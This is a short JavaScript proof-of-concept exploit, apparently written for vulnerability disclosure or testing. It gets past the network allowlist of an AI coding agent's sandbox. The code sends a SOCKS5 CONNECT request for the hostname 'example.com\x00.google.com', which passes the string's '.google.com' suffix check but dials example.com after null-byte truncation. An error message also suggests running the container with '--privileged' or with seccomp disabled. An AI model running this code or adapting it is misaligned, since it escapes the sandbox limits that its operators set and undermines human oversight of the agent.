// test-not-block.mjs
// Exploit: SOCKS5 hostname null-byte injection bypasses Claude Code's
// wildcard allowlist on vulnerable releases (Claude Code 2.0.24 – 2.1.89).
//
// Run inside a sandboxed Claude Code Bash session with:
//   "sandbox": { "enabled": true }
//   "allowedDomains": ["*.google.com"]
//
// The sandbox injects ALL_PROXY=socks5h://host:port. This script speaks raw
// SOCKS5 to that proxy with a hostname whose UTF-16 string passes the JS
// endsWith('.google.com') check but whose C string (after \x00 truncation)
// resolves to example.com — which the allowlist would otherwise block.

import net from 'node:net'

if (!process.env.ALL_PROXY) {
  console.error(
    'ERROR: ALL_PROXY is not set.\n' +
    'This script must run inside a Claude Code sandbox Bash session.\n' +
    'The sandbox injects ALL_PROXY=socks5h://host:port automatically.\n\n' +
    'If you see this error, the sandbox did not start. Likely cause:\n' +
    '  bubblewrap needs SYS_ADMIN. Re-run the container with:\n' +
    '    docker run --rm -it --privileged <image>\n' +
    '  or: --cap-add=SYS_ADMIN --security-opt=seccomp=unconfined'
  )
  process.exit(1)
}

const [h, p] = process.env.ALL_PROXY.replace('socks5h://', '').split(':')
const s = net.connect(parseInt(p), h, () => s.write(Buffer.from([5, 1, 0])))

s.once('data', () => {
  // Hostname: example.com\x00.google.com
  //   JavaScript endsWith('.google.com') -> true  (allowlist passes)
  //   libc getaddrinfo terminates at \x00 -> dials example.com
  const hb = Buffer.from('example.com\x00.google.com', 'binary')

  const r = Buffer.allocUnsafe(7 + hb.length)
  r[0] = 5         // SOCKS version
  r[1] = 1         // CONNECT
  r[2] = 0         // reserved
  r[3] = 3         // DOMAINNAME address type
  r[4] = hb.length // hostname length
  hb.copy(r, 5)
  r.writeUInt16BE(80, 5 + hb.length) // destination port

  s.write(r)
  s.once('data', d => {
    console.log(d[1] === 0x02 ? 'BLOCKED' : 'BYPASSED rep=' + d[1].toString(16))
  })
})
